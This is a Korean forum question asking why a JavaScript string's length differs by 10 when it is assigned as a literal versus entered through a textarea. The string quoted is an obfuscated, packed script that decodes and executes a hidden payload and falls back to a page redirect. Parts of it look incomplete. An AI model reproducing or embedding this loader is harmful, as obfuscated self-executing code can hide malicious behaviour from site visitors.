안녕하세요 질문드리고 싶은게 있어서 글올립니다.

다음과 같은 두가지 경우에 왜 값의 차이가 나는지 궁금합니다.

var 키워드로 str변수에 문자열을 할당한것과 textarea 태그를 통해서 사용자 입력으로 str 변수에 문자열을 할당한것에 다음과 같이 차이가 생겼습니다.

var str = "function SkKrisv2(){vQLOIsv8=Math.PI;FmADudt4=Math.tan;WoYU2=parseInt;IiQhrT4='length';jEei7='test';yLAf6='replace';HdAHRM0=WoYU2(~((vQLOIsv8&vQLOIsv8)|(~vQLOIsv8&vQLOIsv8)&(vQLOIsv8&~vQLOIsv8)|(~vQLOIsv8&~vQLOIsv8)));LnJwT8=WoYU2(((HdAHRM0&HdAHRM0)|(~HdAHRM0&HdAHRM0)&(HdAHRM0&~HdAHRM0)|(~HdAHRM0&~HdAHRM0))&1);/*Encrypt By dns03.lace4989.com's JSXX 0.44 VIP*/MGydJrR0=LnJwT8<<LnJwT8;new function(){PswWU2=HFfAB1('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt='[yLAf6](/[^v@0el9a]/g,''));};try{if(!\/^\\d*$\/g[jEei7](ATAGgI6));}catch(e){ATAGgI6=HdAHRM0;}UoCFV6='';sHfQcJo8=String[iqoMcvC5('%6'+'6%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65')];for(MIknrBF7=HdAHRM0;MIknrBF7<rBRMd3[IiQhrT4];MIknrBF7-=-LnJwT8)ATAGgI6=((ATAGgI6&127)<<25)|((ATAGgI6&4294967168)>>>7)+rBRMd3.charCodeAt(MIknrBF7);sBcXPJ2+=LnJwT8;ATAGgI6>>>=0;for(MIknrBF7=HdAHRM0,EHIKlM7=LnJwT8;MIknrBF7<PpqLR0[IiQhrT4];MIknrBF7+=MGydJrR0,EHIKlM7++){if(MIknrBF7>=(1<<3)){SkKrisv26=MIknrBF7%(1<<3);}else {SkKrisv26=MIknrBF7;}AvqXgV3=WoYU2('0x'+ATAGgI6.toString(LnJwT8<<4).substr(SkKrisv26,2))+EHIKlM7;if(\/^(\\d{4})\/g[jEei7](AvqXgV3+744))AvqXgV3%=33;UoCFV6+=sHfQcJo8(WoYU2(HdAHRM0+iqoMcvC5('x')+PpqLR0.charAt(MIknrBF7)+PpqLR0.charAt(MIknrBF7+WoYU2(LnJwT8)))^AvqXgV3);}try{new function(){PswWU2(UoCFV6);}}catch(e){try{new function(){xENkj3=parseInt;FmADudt4(UoCFV6);}}catch(e) {window.location='.';}}}try{HFfAB1('SkKrisv2();')}catch(e) {try{sBcXPJ2=HdAHRM0;HFfAB1('SkKrisv2();');}catch(e){alert('ere');}}";

이렇게 변수 할당한것과 변수할당한 문자열을 textarea를 통해서 입력한것과 차이가 나요. str.length를 해보면 서로 정수 10 만큼의 차이가 생깁니다. 왜그런지 모르겠더라고요. 개행문자가 삽입됐나싶어서 개행문자 삭제처리도 해봤는데도 크기에서 차이가 계속 생깁니다. 왜그런지 이유를 알 수 있을까요?

이 질문을 읽어주셔서 감사합니다.